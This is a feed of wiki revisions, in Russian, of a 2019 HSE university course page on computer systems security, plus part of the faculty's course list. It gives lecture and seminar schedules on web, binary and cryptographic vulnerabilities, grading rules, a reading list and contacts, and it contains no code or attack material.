# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
# (16.12)&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35254</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35254"/>
		<updated>2019-09-23T10:11:09Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Механизмы безопасности приложений в операционных системах. &lt;br /&gt;
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (04.11) &lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (18.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (25.11) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
# (16.12) &lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35253</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=35253"/>
		<updated>2019-09-23T10:05:58Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Механизмы безопасности приложений в операционных системах. &lt;br /&gt;
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. Обзор, инструменты. SQLi.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. XSS.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/File_Upload_and_stuff|Веб-уязвимости. File Upload, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинар переносится на 30.10&lt;br /&gt;
# (28.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=34990</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=34990"/>
		<updated>2019-09-16T11:50:53Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) [https://drive.google.com/file/d/1FXnXAu2NrUgMJFmCOD9eDtGe3Ujq0QpX/view?usp=sharing Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (16.09) Безопасность приложений. Мобильные приложения и их уязвимости.&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Механизмы безопасности приложений в операционных системах. &lt;br /&gt;
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/XXE|Веб-уязвимости. XXE, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинар переносится на 30.10&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
# (16.12) [[Безопасность_компьютерных_систем_2019/Padding|Padding Oracle атаки.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%9E_%D1%84%D0%B0%D0%BA%D1%83%D0%BB%D1%8C%D1%82%D0%B5%D1%82%D0%B5&amp;diff=34989</id>
		<title>О факультете</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%9E_%D1%84%D0%B0%D0%BA%D1%83%D0%BB%D1%8C%D1%82%D0%B5%D1%82%D0%B5&amp;diff=34989"/>
		<updated>2019-09-16T11:50:29Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* Курсы за 2019/20 учебный год */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__ &lt;br /&gt;
&lt;br /&gt;
= Учебные курсы факультета компьютерных наук =&lt;br /&gt;
&lt;br /&gt;
== Курсы за 2019/20 учебный год ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! 1 курс !! 2 курс !! 3 курс !! 4 курс  !! майноры и факультативы&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_1_2019/2020 | Математический анализ-1 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_на_ПМИ_2019/2020_(основной_поток) | Математический анализ на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_математика_1_2019/2020 | Дискретная математика-1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2019/2020_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная_алгебра_и_геометрия_на_ПМИ_2019/2020_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_1_2019/2020 | Основы и методология программирования-1 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы_и_методология_программирования_1_2019/2020_(пилотный_поток) | Основы и методология программирования-1 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Discrete_Mathematics_DSBA2019/2020 | Discrete Mathematics DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Calculus_DSBA2019/2020 | Calculus DSBA (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[LAaG_DSBA_2019/2020 | Linear Algebra and Geometry (ПАД)]]&lt;br /&gt;
&lt;br /&gt;
[[Introduction_to_programming_DSBA_2019/2020 | Introduction to Programming (ПАД)]]&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[DM2-basic2019/2020 | Дискретная математика-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM2-pilot2019/2020 | Дискретная математика-2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2019/2020_(основной_поток)| Теория_вероятностей_2019/2020 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_и_математическая_статистика_2019/2020_(пилотный_поток)| ТВиМС (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_2019/2020_(пилотный_поток) | Математический анализ 2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математический_анализ_2_2019/2020_(основной_поток) | Математический анализ 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_2_2019/2020 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_1 | Машинное обучение 1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладная_статистика_в_машинном_обучении(2019)|Прикладная статистика в машинном обучении]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_РС_1|НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Theory_of_Computing_2019_2020 | Theory of Computing, AMI]]&lt;br /&gt;
&lt;br /&gt;
[[Компьютерные_Сети | Компьютерные сети]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2019/2020|НИС Машинное обучение и приложения]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019|Безопасность компьютерных систем]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
